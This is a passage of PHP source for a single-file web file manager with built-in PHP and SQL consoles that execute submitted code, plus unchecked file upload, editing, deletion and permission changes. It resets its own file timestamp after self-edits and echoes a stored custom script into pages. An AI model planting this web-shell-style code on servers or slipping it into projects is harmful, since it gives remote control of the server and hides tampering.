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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
